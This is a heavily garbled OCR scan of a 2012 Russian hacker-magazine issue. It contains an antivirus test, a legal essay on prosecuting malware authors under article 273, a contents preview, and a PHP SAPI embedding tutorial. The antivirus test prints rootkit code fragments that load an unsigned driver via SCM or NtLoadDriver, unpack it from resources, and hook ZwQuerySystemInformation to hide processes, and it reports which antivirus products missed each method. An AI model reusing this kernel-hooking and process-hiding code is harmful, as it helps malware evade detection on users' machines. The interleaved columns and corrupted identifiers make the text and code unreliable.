else Previtem = Curritem; if (Curritem->NextEntryOelta > е ) Curritem = (PSystemProcessesAndThreadsinformation) ((ULONG)Curritem + Curritem->NextEntryDelta); else break ;
PSystemProcessesAndThreadsinformation Curritem; PSystemProcessesAndThreadsinformation Previtem; NTSTATUS Res; ULONG Scanlength = е ;
}
{
что для написания и компиляции
драйверов не обойтись без WDK
!Windows Driver Kitl? Ищи его на официальном сайте
while (Scanlength <= Systeminformationlength); return Res;
Res = OldZwQuerySysteminformation( SysteminformationClass, Systeminformation, Systeminformationlength, Returnlength); if ((SysteminformationClass ! = 5)1 1 (Res != STATUS_SUCCESS)I 1 (srsteminformationLength == е )) return Res; Curritem = (PSystemProcessesAndThreadsinformation) Systeminformation; Prevrtem = NULL; do
Надеюсь , ты в курсе,
Microsoft.
} Здесь сначала проверяется, с какими параметрами была
nри комnиляции
вызвана функция ZwQueгySystemlnfoгmation, а затем, в случае
если эта функция вызвана с параметром Systemlnfoгmation
Ciass, равным
nрисоединить
бинарник драйвера
nяти, в nолученном сnиске ищется процесс,
в названии которого присутствует строка
<< test », и,
второго и четвертого
тестов не забудь
к проекту в виде
далее ,
ресурсов .
этот nроцесс исключается из сnиска . В общем-то, все просто,
и подробное описание такого способа скрытия процессов достаточно легко ищется в Сети . Ну а полный код нашего << вредоносного » драйвера ищи на диске, nрилагающемся к этому номеру .
Scanlength += Curritem- >NextEntryDelta; (Curritem->ProcessName.Buffer != NULL) if (wcsstr(Curritem->ProcessName.Buffer, L"test" ) != NULL) {
Kcrnct DclcctJvc v1 '}
wu.aut ll схс
{J ~~- I <IO п. .... I ·.J.. ...--шLЬ- 1 >1' - 1~ ··........ - · 1*
"""' ' '""'..'"'"
DbgPrint( "Hide Process %ws\n" , Curritem->ProcessName.Buffer); if (Curritem->NextEntryDelta > е ) Previtem- >NextEntryDelta += Curritem->NextEntryDelta; else Previtem->NextEntryDelta = е ;
~§~
Fltset~~
171
t.tqueryS~OIYn8rtV. . .
1n
~-..o:
173
~emWQr1'l>tti:rl
т
~тmе
175
~~о_.,.,а,..._,
,.,..,.....,,,, r.
...... l я•·
~7S8Э0x80647S83
0x80647S20 ())cF7A32010
0x80647S20 Q:I:8057CC27
'"""'
........... 1!11 ...... -...1.! л
МOdfled
""""'""'""""""" OxtiOSOEm
СЬ:8050Е171
< Tota!Sen1tes :: Z84·МOdfled :: I · Extr• :: O
Перехваченная с помощью нашего<< вредоносного н драйвера функция ZwQuerySystemlnformation
ХАКЕР
EPIDEMZ.NET
05/160/20 12
Тест антивирусов: ядро под угрозой
ТЕСТ
return true ;
Ng 3. ИСПОЛЬЗУЕМ NTLOADDRIVER
Функция NtloadDгiveг загружает драйвер п о предварительно
соз д анным записям в реестре, поэтому в ветке HKLM\System\ CuггentContгoiSet\Seгvices мы должны пр оизвес ти кое-какие
Такую загрузку драйвера пропустило большинство анти вирусов, не промолчали только дальше
Comodo и Outpost. Что ж, идем
изменения:
... RegCreateKeyEx(HKEY_LOCAL_MACHINE, L"System\\CurrentControlSet\\Services\\testdriver " , B,NULL, B,KEY_ALL_ACCESS,NULL,&KeyHandle,NULL); RegSetValueEx(KeyHandle,L "ImagePath" , B,REG_EXPAND_SZ, (BYTE*)ImagePath, lstrlen(ImagePath)* 2); RegSetValueEx(KeyHandle,L "ErrorControl" , e,REG_DWORD, Errorcontrol, 4 ); RegSetValueEx(KeyHandle,L "Start" , B,REG_DWORD, (ВУТЕ* )Start, 4 ); RegSetValueEx(KeyHandle,L "Type" , B,REG_DWORD,
Вообще, конеч но , первый способ загрузки драйвера- очень большая редкость во вредоносном деле. Его гораздо чаще используют более благопристойные программы, да и таскать за собой драйвер в виде отдельного файла тоже не очень хоро шо. Поэтом уснекоторой натяжкой на результаты первого теста можно прикрыть гла за и приступить ко
второму. В этот раз мы положим драйвер, оформленный в виде ресурсов, в тело самой вредоносной программы и произведем
загрузку опять же с помощью SCM. Функция
распаковки драйвера
(ВУТЕ*)Туре, 4 );
Далее для успешного запуска этой функции необходимо полу
из ресурсов на диск
чить привилегию SE_LOAD_DRIVER_NAME [под Windows ХР мож
bool UnPuckDriver()
но обойтись и без этого[ . Также стоит помнить, что, во-первых,
{
функция ядром не экспортируется, поэтому без GetPгocAddгess
HRSRC aResourceH; HGLOBAL aResourceGlobal; ULONG aFileSize; UCHAR *a FilePtr; HANDLE FileHandle;
не обойтись, а во -вт орых, в качестве в хо дного параметра для этой функции используется тип
UNICODE _S TRING. Comodo,
В результате ни от каких антивирусов, кроме
Outpost 'a и Антивируса Касперского, не было слышно ни слова. Печально, конечно, но надо идти до конца. Итак, последний тест
aResourceH = FindResource(NULL, L"testdriver" , L"BINARY" ); LoadResource(NULL, aResourceH); aFileSize = SizeofResource(NULL, aResourceH); aFilePtr = (UCHAR *) LockResource(aResourceGlobal); FileHandle = CreateFile(L "c:\\testdriver.sys" , FILE_ALL_ACCESS, B,NULL,CREATE_ALWAYS, B,NULL); while (aFileSize--) { ULONG numWritten; WriteFile(FileHandle,aFilePtr, l ,&numWritten,NULL); aFilePtr++;
на сегодня
...
Для проведения этого теста мы, как и во втором случае, офор
мили драйвер в вид е ресурсов в тело ехе'шника и реализовали загрузку, как в третьем тесте, то есть с помощью NtloadDгi veг.
Результаты прохождения этого теста по сравнению с предыду щим не изменились. Ни со стороны Dг.Web'a, ни со стороны
NOD32 не было слышно никакой реакции . Так же повели себя и Aviгa вместе с avast'oм.
ЗАКЛЮЧЕНИЕ Ситуация выглядит странно. Прост ейшие способ ы загрузки
return true ;
драйверов были пропущены больше чем половиной тестируе мых антивирусов, что позволило внедриться в ядро, перехва
В результате этой проверки к реакции Comodo и Outpost'a
тить одну из АРI-функций и скрыть << вредоносный» процесс от пользователя. Хотя кто знает, может, действительно эти способы
добавилась реакция Антивируса Касперского. Остальные же упорно не хотят ничего замечать, и это начинает уже немного
слишком просты инедостойны внимания антивирусных про
удивлять. Те f тируем дальше ...
дуктов?:] ::х:
.l(avostl Н~СТРОЙКИ ЭКР~НА ПОВЕДЕНl1Я -
Х
--------
--
еснооньоенастроiiо<и
ОСНОВНЫЕ НАСТРОИКИ
Надежные процессы
Здесь вы можете указt!lть, кекой тиn подозрительного nоsедения следует отслеживать.
{g Отслеживать
g
о
о
о
о
Dr.Web
о
о
о
о
NDD32
о
о
о
Comodo
о
о
о
avast!
о
о
о
Avira
о
о
о
о
Outpost
о
о
о
о
е системе руткиты НИ3Коrо уровня
~;~=ать е системе nоведение, наnоминающее деliютsия вредоносных
ff/ Отслеживать 8 системе неразре111еннь1е изменения Действие
ОnреАелять автоматически
- - - - -- - - - - - - - - - - - - -
Настройки Экрана поведения в
ХАКЕР
Антивирус Касnерекого
..
-
avast! lnternet Security
.....
-------
Результаты нашего тестирования
085
05/160/2012
EPIDEMZ.NET
MALWARE
Ни колай Ни колаевич Федотов lfnnfafnn.ru(
До сих пор встречаются мнения, что, дескать, с оздание компьютерных вирусов, руткитов, троянови других
вредоносных програ м м иногда
может быть з ако н но . Да , есть вещи,
в которые очень хочется верить ... Но даже есл и на й детс я в м и ре такая страна , в к оторо й вирусописательство
по недосмотру местны х власте й еще не запреще н о , т о и т ам будут противо з аконны те де й ствия , которые с п о м ощью в и ру с ов сов ершают.
СУРОВАЯ ПРАВДА О ЛОВЛЕ
ВИРМЕЙКЕРОВ И О ДОКАЗАТЕЛЬСТВЕ ИХ~ ПРЕСТУПЛЕНИЙ г
о варят еще, что создание малвари
могла прийти в голову лишь законченному
на службу в полицию или разведку человека
защищено положениями о свобо д е
технарю, страдающему комплексом техно
судимого или оставленного под подозрением.
величия в тяжелой форме . Гуманитарий же
Максимум, на что он может рассчитывать,
роль информатора.
не о тличающих информацию от программы,
твер д о з н ает, что квалификация !даже самая высокая!- дело наживное. Этому всегда
а информационное право от авторского. Д ля
можно обучить . А вот законапослушность или
низованную банду злохакеру тоже проблема
любого юриста программа и информация,
склонность к антисоциальному поведению
тично. Правда, по иным причинам: бандиты не
программа и литературное произведение
-вещи укорененные. П еревоспитать их во
предъявляют высоких требований к морали
не только разные, но даже не похожие объ
вз р ослом человеке невозможно, во всяком
и сознательности, однако они не доверяют
екты. А возбуждать уголов н ое дело и судить
с л учае, п ока такой тех н оло г ии не открыто. П о
людям чуждо г о социального круга- могут
вирмейкера будут именно юристы.
этому лояль н ость к закону и любовь к порядку
всту п ить с ними в деловые отношения, но
творчества и п равом на сбор и рас
прос т ранение и н форма ц ии . Это бре д ф р и ков,
Устроиться на постоянную работу в орга
имеют безусловный приоритет перед любыми
никогда не примут в свою среду. И при первом
мейкеров подбирают спецслужбы и пригла
навыками. Вопреки ряду голливудских
удобном случае сдадут, обманут, кинут или
шают к себе на работу. Столь дурацкая и д ея
фильмов, ни в одной стране мира не берут
<<ЗаЧИСТЯТ>>.
Также ходят слухи, что талантливых в ир
ХАКЕР
086
EPIDEMZ.NET
05/160/2012
Законом по вирмейкингу
Технари если и образуют организованные
Мне возразят, что эккаунты в платежных
-выдумки. Однако основания для мифов есть :
преступные группы, то только с подобными
системах, счета в банка х и номера телефонов
Всесилие можно симулировать. А ламерство
себе . Поскольку они традиционно слабы как
могут быть анонимными, на вымышленное
можно комnенсировать старательностью.
в криминальной науке, так и в оперативно
имя или подставного человека. На самом
розыскной деятельности, то неизбежно
деле анонимность- это не отсутствие имени,
ют в nроnагандистских фильмах, возможна.
Тотальная слежка, которую демонстриру
проигрывают, стоит им выйти за пределы
а отсутствие связей . Банковские и небан
Однако требует на nорядок больше ресурсов
своего поля . А оставаться целиком в виртуаль
коаские счета, эккаунты разных операторов
и времени, чем зто следует из художественных
ности в наши ·дни довольно затруднительно:
связи образуют собой плотно связанную сеть .
произведений. «Взять под колnак >> можно
приходится иногда выходить в реальный мир
А теория говорит нам: чем больше связей , тем
одного-двух-трех человек одновременно.
не только поесть и поспать, но также получить
хуже анонимность . Достаточно, если остаются
На большее не хватит ресурсов ни у одного
деньги , купить технику, провзаимодействовать
именными лишь
подразделения. Собрать же вместе несколько
с противоположным полом, провести бюро
мости от плотности связей) всех узлов, чтобы
nодразделений сnецслужб и заставить их
кратические процедуры . На этом чаще всего
можно было деанонимизировать все осталь
работать по одному делу под силу только выс
и попадаются .
ные. Связи их выдают и/или идентифицируют.
До сих пор самым продуктивным «мости
20% 130, 40, 50- в зависи
К примеру, в России положено регистриро
шему руководству- оно такое проделывает по
делам государственной важности, критичным
ком>> между реальностью и виртуальностью
вать паспортные данные абонентов мобильной
для текущей власти. К вирмейкерам это ника
служили банки. Подавляющее большинство
связи, но есть возможность приобрести
ким боком не относится. Муха может оnасаться
преступлений lв том числе кибер-) соверша
карту на вымышленное имя. Это не сделает ее
максимум мухобойки . Более мощное оружие
ется ради денег. Ввести деньги в виртуальный
анонимной . Достаточно совершить с этого но
nротив нее никто не исnользует.
мир и вывести их оттуда без помощи банков
мера звонки трем-четырем другим абонентам,
весьма затруднительно. Офлайновая преступ
фамилии которых зафик с ированы,- и твоя
nрименять прослушку только когда речь идет
51 М
Не наnрасно российский закон позволяет
ность сделала ставку на наличные . Киберзло
идентификация произведена . Достаточно
о тяжких nрестуnлениях- с наказанием
деям же это не подходит, поскольку главные
вставить эту симку в аппарат, в котором ранее
свыше nяти лет. На практике же ни прослуш
и х преимущества- транснациональность
побываланеанонимная с им ка , - и твой номер
ку, ни наружку, ни сколько-нибудь сложные
и трансконтинентальность , а также отсутствие
получил привязку к человеку. Достаточно
техсредства начальство не выделит, nока на
личны х контактов . Онлайновые платежные
оплатить у слуги связи лю б ымнеанонимным
оnеративном горизонте не замаячит что
системы ограниченно пригодны для расчетов
способом- и владелец попал с я . Достаточно
нибудь особо тяжкое, групnовое, вооруженное
членов киберпреступной группировки между
зайти с таким телефоном в здание, в котором
и в особо крупных размерах .
собой и иногда- с жертвами. Но вывод денег
стоит
такие платежные системы не могут обеспе
не стану.
...
впрочем, этот секрет пока раскрывать
Что касается тотального ламерства ки берполицейских и кибершnионов- не такое
чить без помощи банков !даже пластиковая
К тому же разные сети связаны между со
карта с именем сетевой платежной системы
бой: учетные записи электронной почты при
на самом деле эмитирована банком , с которым
вязаны к фотоальбомам , банковские счета
социологическими и экономическими . То есть
эта ПС договорилась об открытии счетов).
к IР-адресам, автомобили- к навигаторам,
умением найти подход к знающим людям .
А банки во всех странах находятся под жест
WiFi-ceти- к телефонам , ди с контные карты
Автор неоднократно консультировал nравоо
ким государственным контролем . Да и сами,
-к кредитным и так далее. Каждая такая
хранительные органы касательно компьютер
по своей инициативе, тоже противодействуют
связка двух сетей драмэтически снижает воз
ных nрестуnлений. Каждый раз приходилось
правонарушениям . И еще хранят записи обо
можность анонимизации в каждой из ни х .
удивляться невысокому уровню их знаний в об
всех клиентах и транзакциях. Так вот, на этом
Пройдя по связям !особенно межсетевым) ,
уж оно страшное . Недостаток комnьютерных знаний вnолне комnенсируется знаниями
ласти ИТ. И каждый раз операции удивляли
« мостике >> и ловят большинство компьютер
можно установить очень много. А связи не
меня положительным результатом, особенно
ных злоумышленников. А зафиксированные
об х одимы для ведения бизнеса, в том числе
если руководители этих операций тщательно
тразакции становятся доказательством.
незаконного . Таким образом, киберкриминаль
следовали моим советам. Собственно, уже для
ные сообщества более уязвимы для слежки
одного того, чтобы найти специалиста по ком
и внедрения, чем традиционные .
пьютерной криминалистике, дать ему денег
Другой связью с реальным миром высту пают мобильные телефоны . Операторы связи охотно сотрудничают с полицией. Без мобиль
Ну, если уж я начал о мифах, то стоит упо
ника нынче даже просто жить затруднительно,
мянуть еще два . Миф о всесилии спецслужб
а уж работать- и вовсе невозможно.
и миф об их тотальном ламерстве . И то и другое
и попросить совета, нужна изрядная мудрость.
Поэтому считать их идиотами не приходится. Российские правоохранительные органы действительно пока не могут nохвастаться достаточным количеством ИТ-сnециалистов. Иметь их в штате не позволяет зарплата ,
требования к состоянию здоровья, отсутствие
ПТИЧИЙ ЯЗЫК
карьерного роста по « техническоЙ>> линии и другие причины . Эато у полиции и ФСБ есть очень хорошие возможности для привлечения
Защитник: Ваша честь, в заключении эксперта, на котором базируется все обвинение, написана
сторонних специалистов и экспертов. Многие
полная чушь. Он там пишет, что чик-чирик-чик-чик. Хотя на самом деле, как известно любому
готовы помогать даже бесплатно. И на платных
сnециалисту, фьюить-фьюить .
помощников деньги можно найти- как в бюд
Судья: Какие у вас основания усомниться в комnетентности эксnерта?
жете, так и в черных кассах.
Защитник: Чик-чирик же!
Более того, раскрытие киберпреступлений
Судья: Ни вы, ни я не обладаем сnециальными знаниями, чтобы разбирать эксnертное заключение.
может стать прибыльным бизнесом. В отличие
Защитник: Ходатайствую о вызове сnециалиста, который может все разъяснить.
от хулиганства и межнациональной вражды
Обвинитель: Протестую, ваша честь . Выводы эксnерта ясны и в разъяснениях не нуждаются. Вот,
компьютерные преступления чаще всего
тут у него наnисано : <<Программа является вредоносной>>. Все nонятно.
являются частью черного бизнеса. То есть
Подсудимый: Как же нет оснований? Он же nишет, что кар-кар, nри условии, что кудах-тах-тах ...
стабильного источника доходов. Крышевание
Судья: Вы тоже не обладаете сnециальными знаниями. Оснований сомневаться нет. Ходатайство
дельцов комnьютерного андеграунда, часто
отклонено.
совмещенное с их официальной вербовкой, распространенное занятие во всех странах.
ХАКЕР
087
05/160 / 201 2
EPIDEMZ.NET
MALWARE Вопрос: <<Как нам получить доказательства ,'
А когда поимка злохакера, вирмейкера или
крючок. Степень проникновения полицейской
кардера сулит постоянный доход , на такой
агентуры в компьютерный андеграунд оцени
пригодные для суда? Ну, или хотя бы для экс
к вест не грех и потратиться.
вается как высокая- на порядок выше, чем
традиции>>.
Вирмейкер может работать автономно, если
в наркокартели и террористические организа
А когда за консультацией приходят с про
тивоположной стороны, то говорят обычно так:
он действует из хулиганских, политических,
ции. Потому что идейность айтишников ниже,
религиозных или иных << высоких >> побужде
денег меньше, а возможность прирезать из
<< Один мой знакомый занимается планирует
ний. Если же он намерен получить денег, то
менника вовсе отсутствует. Легко прикинуть:
заняться вот таким-то киберкриминальным
вынужден"вступать в криминальные цепочки
если стучат хо тя бы 50% из киберпреступни
бизнесом. Как бы построить дело, чтобы о нем
и становиться частью преступного мира. По
ков, то вступление в деловой контакт с деся
и его занятии не узнали? Нет, не чтобы не
этим связям на него и выходят. Эти связи его
тью из них оставляет вам шан с 1/1024 остаться
смогли доказать. А именно чтобы не узнали,
в тени . То есть 1023 шанса против одного, что
даже не заподозрили>>.
и сдают, иногда даже в инициативном порядке.
Например, Свен Яша н , который признал свое авторство в написании червей Netsky
окажетесь как минимум на примете .
Разумеется, есть большая разница между
Чуете, в чем принципиальное отличие за просов? Правильно, в роли процедуры доказы
и Sasser. Арестовать его в 2004 году помогла
<<узнать>> и << доказать >>. Особенно она велика
вания после того, как преступление раскрыто.
программа наград Microsoft за поимку вирмей
в правовы х государствах с буквоедскими
Шерлок Холме вообще доказыванием не за
керов IAпti-Virus Reward Progгaml. Сдали его
судами и миллионными армиями адвокатов.
морачивался. Именно поэтому рассказы о нем
личные знакомые, не деловые, не коллеги по
В странах попроще и требования пониже: был
относятся к жанру юридической фантастики.
бизнесу, не частные детективы. А какие-то не
бы человек , а статья найдется , как говорят
А в наше время приходится тратить на сбор
деловые друзья-подруги-товарищи (их имена
в нигерийской полиции.
не разглашаются). Сдали за 250 000 долла-
Когда ко мне обра щаются из правоохрани
и закрепление доказательств львиную долю
усилий, а порой- только этим и заниматься.
ров от Майкрософта. Слишком много, чтоб
тельных органов, разговор обычно строится по
Сакраментальный принцип <<20/80>>. Распре
проявить айтишную солидарность или иные
с ледующей схеме: << Вот, есть ОПГ из кибер
деление ресурсов между сбором информации
дружеские чувства.
мошенников, делают то-то таким -то с посо
и сбором доказательств на светлой стороне: 20
Чужие деньги и собственные грехи за
бом, применяют такие-то методы и такие-то
к 80. А на темной стороне при противодействии
ставляют черных айтишников искать покрови
программы, деньги выводят через такую-то
сбору и доказыванию распределяют усилия
тельства. Но находят они обычно вербовочный
платежную систему>>. Полный расклад, короче.
как 80 к 20. :Х:
СТАТЬЯ
СОЗДАНИЕ, ИСПОЛЬЗОВАНИЕ И РАСПРОСТРАНЕНИЕ ВРЕДОНОСНЫХ КОМПЬЮТЕРНЫХ ПРОГРАММ
273.
Создание, распространение или
вредоносной программой любую программу,
на вредоносные программы следует
использование компьютерных программ либо
приносящую вред: <<вредоносная программа>>
приготовиться к сложным условиям защиты .
иной компьютерной информации, заведомо
-это не существительное с прилагательным,
Статья
предназначенных для несанкционированного
а единый неделимый юридический
же с огромным трудом. Статистика пост.
уничтожения, блокирования , модификации,
термин, определениекоторогосодержится
273- дутая
копирования компьютерной информации
в дисnозиции ч. 1 ст. 273 УК) . Оспорить же
Из реальных вирмейкеров были осуждены
или нейтрализации средств защиты
заключение эксnерта может лишь иной
единицы: в основном вирусную статью лепят
компьютерной информации ...
эксперт или специалист. Но чтобы назначить
впридачу к <<неправомерному доступу>> (272)
273
лепится очень легко, отмывается чуть более, чем полностью.
повторную экспертизу или nригласить
и к нарушению авторских прав (146). При
специалиста, должны возникнуть сомнения
этом эксперт может объявить <<вредоносной
формулировка стала довольно размытой
в компетентности. А формальных оснований
программой>> что угодно- от дебаггера до
и приобрела бОльшую эластичность. Ее
для таких сомнений нет. Ни судья, ни стороны
кода активации.
и раньше не стеснялись натягивать на
процессанеобладают сnециальными
В конце
2011
года статья
273
УК
претерпела изменения. Прежняя более четкая
Автор в своей правоохранительной
глобус, а ~еперь, видимо, это решено делать
знаниями в области ИТ. Следовательно,
регулярно и систематически. Объявить
все их суждения на эту тему не могут быть
настоящим создателем мал вари . Было
программу (а после поправок- не только
основанием для процессуальных действий
это в далеком
программу, но и информацию) <<вредоносноЙ>>
и решений.
довольно примитивной, написана на Бейсике
не составляет большого труда.
Вот очень типичная ситуация . Защитник
Особенность в том, что вредоносность
(то есть предназначенность программ <<для
деятельности сталкиеалея с единственным
под
1998 году. Программа была
DOS: она сканировала сеть в поисках
настаиваетнанеадекватности заключения
компьютеров с расшаренными без пароля
эксперта. Но все его слова отметаются
дисками и тырила с них рwl-файлы. Это был
обвинением как слова человека, не
первый и последний вирмейкер, которого
и так далее) устанавливается экспертом.
обладающего пресловутыми специальными
автор видел в своей жизни. <<Вирусная>> статья УК показывает внушительную статистику,
несанкционированного уничтожения
... >>
Выбираетэкспертаследователь.Экспер~
знаниями. Пригласить компетентного
согласно закону, обязан руководствоваться
сnециалиста? На это тоже нет формальных
но вирмейкеров в ней немного . Эксnертиз на
методикой, но какой именно методикой,
оснований. Вот так и получается, что исход
<<ВредОНОСНОСТЬ>> ПрОВОДЯТСЯ ТЫСЯЧИ В ГОД,
закон не уточняет. Значит, любой- по своему
дела по статье
но признанные авторитеты (<<Лаборатория
выбору или по усмотрению начальства.
nредопределяет единолично.
Понятно, что почти всегда можно подобрать
273 эксперт фактически
Как решить проблему, пока не ясно. Есть
Каспере кого>>, <<Диалог-наука>> и прочие) к этим экспертизам приелекаются редко .
такого эксnерта или такую методику, чтобы
предложения ввести лицензирование или
Когда ловим- не можем доказать. Когда
изучаемая программа оказалась вредоносной
сертификацию компьютерных экспертов .
доказываем- сажаем невиновных. Вот
(кстати, было бы величайшей ошибкой считать
Сейчас поnавшимся с хотя бы намеком
в такой парадоксальной диалектике и живем.
ХАКЕР
088
EPIDEMZ.NET
05/160/2012
Preview UNIXOID
11
НАСТУПЛЕНИЕ ПО ВСЕМ ФРОНТАМ Холодильнике L inux'oм внутри
фантастика? Ничего nодобного! Вборьбезаnотребителяком n ании nроизво д ители, как сго в орив ш ись, устанавливают в nривычныедля
насустройства мозг - nроцессор на АRМ-архитектуре. А какую ОС можно использоватьдляуnравления
этим хозяйством? Конечно же,
Linuxl Интерак т ив н ая р еклама в глянцевых журналах, робот-сиделка, э л ектрогитара, nолноценныйкомп
размером чуть больше банковской карточки - этолишь малая часть того, где нашла nриме н ение эта открытая операционная система.
КОДИНГ
UNIXOID
ИЗВРАЩЕННЫЙ ПЕРЕХВАТ
96
П роникаем в n р оцесс и маниnулируем
ЗАДАЧИНА СОБЕСЕДОВАНИЯХ
99
П род олжаем мучить твой мозг очередной
дейс т виями, nр о и схо д я щи ми в нем, при
nорциейвесьмазаковыристыхзадачек
помощи бубна,
по nрограммированию и логике. Слабо
DLL P гeloading Attacks
и отладочных исключений.
11
ФАЙЛОВЫЕ СИСТЕМЫ БУДУЩЕГО Рассма т риваемнаиболеевероятных претендентов на рольФС будущего.
Каким критериям она должна удовлетворять? И nочему это не ext4?
решить их все?
FERRUM
SYN/ACK
ГЛАВНЫЕ МАГИСТРАЛИ
11
ГЛАВНЫЕ МАГИСТРАЛИ Упавший всего на н есколько часов интер
нетможетубитьнекоторыекомnании . Как nравильносконфигурироватьработусне сколькими каналами без лиш н их затрат?
ХАКЕР
11
СОЕДИНЯЙ И ВЛАСТВУЙ Небольшую виртуальную сеть создать nросто, а вот когда речь заходит о сотнях
виртуальных машин, без качественного виртуального коммутатора не обойтись.
05/160/2012
11
ПОЛНЫЙ НО У любого I Т-шника должен быть боль шой хороший монитор. А лучше два! Тестируем
24" модели
и выбираем те,
которые придутся по душе редакции.
089
EPIDEMZ.NET
КОДИНГ
Никола й « M0r1arty» Н ежине к и й [moriartylafront.ru)
ВСТРАИВАЕМ ИНТЕРПРЕТАТОР РНР В СВОИ ПРОЕКТЫ
НА/ АССЕМБЛЕРЕ!
SAPI
С ТОЧКИ ЗРЕНИЯ ПРОГРАММИСТА
Д вижок Р НР под
Windows
сосре д о т очен в ди н ами ч еской библио
теке php5ts.dll !постфикс ts- Thread Safety], экс п ор т ирующей все необходимые для работы функции.
SAP I прос т о д ергае т эту SAP I обычно соби
d l l'кy по мере необходимости . В н иксах же
рается из кучи объек тн ых файлов и движок РН Р в н едр я ется на стадии ком п иляции целиком в исполняемый файл, если не
указано обратного !см. врезку ] . Стои т заметить, что как р ас ш ирени я Р Н Р пре д остав л яют плагин ный и нт ерфейс дв ижку, так и движок предоставляет любому коду
пла г ин н ый инте р фейс !SAPI], позво л яющий дергат ь себя за ниточки .
РНР предоставляет программисту массу возможностей для самоудовлетворения . Одной из таких возможностей является
SAPI-
помощью функц и онируют модули для веб серверов, выполняющие РНР - код, и даже
php.exe :]. Неплохо было бы разобраться ,
к ак все это работает и как это можно программировать .
кот о р ые п е р е д аю т ся в составе с тр ук т у р ы sapi_mo d u l e_st гu ct д виж
ку, когд а п ро г рамма заяв ля ет, что хоче т ис п о л ьзова т ь
SAPI . То ль ко
п ос л е п е р е д а ч и за п ол н е нн ой с тр ук т у р ы в нед р а д вижка мы с м ожем ко мп и л иро в ать и испо л н ят ь РНР -код в своей п рограмме ... Н о обо
интерфейс для встраивания РНР
в собственные программы . Именно с его
сам
Как ты, н аве р но, уже д ога д ался, н и то ч ки- зто саi iЬ асk-фу н к ц ии,
в сем п о поря д ку.
А ЗАЧЕМ ЭТО ВООБУ,\Е НУЖНО? ... с п роси ш ь т ы и буд ешь в чем -т о пр ав! Д ирек т ория sa pi в кор н е исхо дн иков РНР со д ержит 22 п о дд ирек т ории, в которых лежат с орцы мо д ул ей для разнообраз н ых_ wеЬ - серверо в , консольный и СG I- клиен т Р НР и вооб щ е м н ого д обра н а все с л учаи жиз н и. Та к за ч ем п исать еще о д ну пр ог р амму, умею щ ую вы п о л нять
РНР ? Н у, разрабо т ку своего собс т ве н но г о wеЬ - сервера с п о д держ-
ХАКЕР
090
EPIDEMZ.NET
05/160/2012
Колбасим
r Код
ИзФайла
SAPI
r-------J
Вывод\
echo Sembed; if{mеssаgеЬох{'Произвести двИЖ!:IХ!:!?';Запрос',МВ_YESNO
1MB_ICONQUESTION) == IDYES)
{ for{$i=0;$i<1 000;$i++) { setwindowpos{$i,$i); usleep{800); } var_dump{setwindowpos{1.1 ));
Запрос
Прои3вести движуху?
$title = '·Устанавливаем
наш тайтл'; Да
Наш nример готов к работе. Через несколько секунд он nробежит по экрану и вер нется в координаты
Нет
/1,11
кой РНР отметаем сразу . Помнишь долю шутки о том, что, навер·
unsigned int str_length TSRMLS_DC); void ( *fiush)( void *server_context);
ное, каждый программист написал свой улучшенный « Блокноп>? Вот мы не из таких. Нужно быть очень особенным, чтобы писать
еще один miпi-httpd. Однако есть и не такое тривиальное при
void (*sapi_error)( int type, const char *error_msg, ... );
менение возможности исполнять РНР-код.
Как тебе, например, идея заменить плагинную систему
int ( *send_headers)( sapi_headers_struct * sapi_headers TSRMLS_DC); void (*send_header)(sapi_header_struct * sapi_header, void * server_context TSRMLS_DC);
в твоем проекте скриптами, которые не обрушат всю систему, когда одному из них приспичит обратиться по нулевому адресу?
Или вот другой при мер. Есть у тебя собственная мегакачалка, продающаяся за
15 баксов. Каждый месяц 50 иноземных поцов
честно и четко по купают твой шедевр. Худо-бедно на жизнь
char * php_ini_path_override;
хватает. Но ты явно мечтал не об этом. А теперь представь ... Ты
снаб дил свою качалку скриптам и, триггерами и еще чем душа
char
*exe cutaЫe_location;
пожелает. Включил в проект редактор с подеветкой синтаксиса и автодополнением. Написал толковую документаху. И вот уже
void ( * ini_defaults)(HashTaЫe * configuration_hash); int phpinfo_as_text;
аdvапсеd-поrьзователи писают кипятком, вокруг проекта об разовалось комьюнити, а на фан-сайте можно найтискриптына
все случаи жизни. Уто пия? В озможно. Но я уверен: однажды эти
char * ini_entries; const zend_function_entry * additional_functions;
з нания тебе при годятся.
SAPI MODULE
STRUCТ
};
Во время инициализации SАРI-модуль за полняет и передает движк у специальную структуру, где прописаны адреса обработчи
Теперь пояснения:
ков и некоторые служеб ные данны е. Всю структуру приводить нет
name- имя SАРI-модуля. Может быть любым, но иногда дви
с мысла. Да и размер не позволяет целиком поместить ее в журна
жок по-разному обрабатывает некоторые ситуации в зависимо
ле . Вот наиболее интересные и востребованные поля:
сти от имени
SAPI- «cli», «c gi », «c gi-fcg i», <<em bed ». Наприм е р,
функция popen для Windo ws выставляет в dwCгeateF/ags lдля
функции CгeatePгocessl флаг CREATE_ NO_WINDOW, если SAPI
struct _sapi_module_struct char *name; char *pretty_name;
имеет имя
<<c li >>.
pretty_name-e cли указано, то использу е тся только при выводе
phpinfo в строке << Sегvег АР/ >> . int (*startup)( struct _sapi_module_struct *sapi_module); int (*shutdown)( struct _sapi_module_struct *sapi_module);
•
stагtuр-д овольно н ео днозначный
callback, поскольк у из РНР
движка он не вызыва е тся, а вызывается только внутри самого
SAPI nосле вызова sapi_staгtup. Обычно callback содержиттолько int (*ub_write)( const char * str,
ХАКЕР
вызов php_module_staгtup.
091
05/160/2012
EPIDEMZ.NET
.КОДИНГ ::::::: - УстанавЛitваем наш тайтл
, , :,~ ...~~-
Файл
[::Код
!
ИзФайла
г------]
Вывод
sapi. phpbool(true)
Пример отработал, и, поскольку была определена переменная
•
$title, заголовок изменился
shutdown- данный callback обычно устанаел ивается
ст руктуры sapi_mod ul e_stгuct, мы можем приступать к кодирова
в php _ module_shutdown_wгappeг, а вызывается внутри
нию. Хотя тестовый пример, который лежит на ди ске, разработан
непосредственно перед вызовом
на
SAP I sapi_shutdown. Внутри php_
module _s hutdown_wгappeг происходит много разных вещей,
например освобождение рабочих потоков ]если включен
ZTS],
завершение работы сети IWSACieanup] для Windows, сброс буферов, завершение работы zепd-движка, дерегистрации
знакомыми тебе по статье << Расширяя горизонты РНР >> функциями:
entгies и так далее. В общем, лучше положиться на плечи
TSRM_API int t srm_startup(
php_module_shutdown_wгappeг, чем самому делать всю зту работу.
int expec te d_threads, int expected_resource s, int debug_level, char *debug_fil ename); TSRM_API void *t s_resource_e x( ts_rsrc_id id , THREAD_T * th_i d) ;
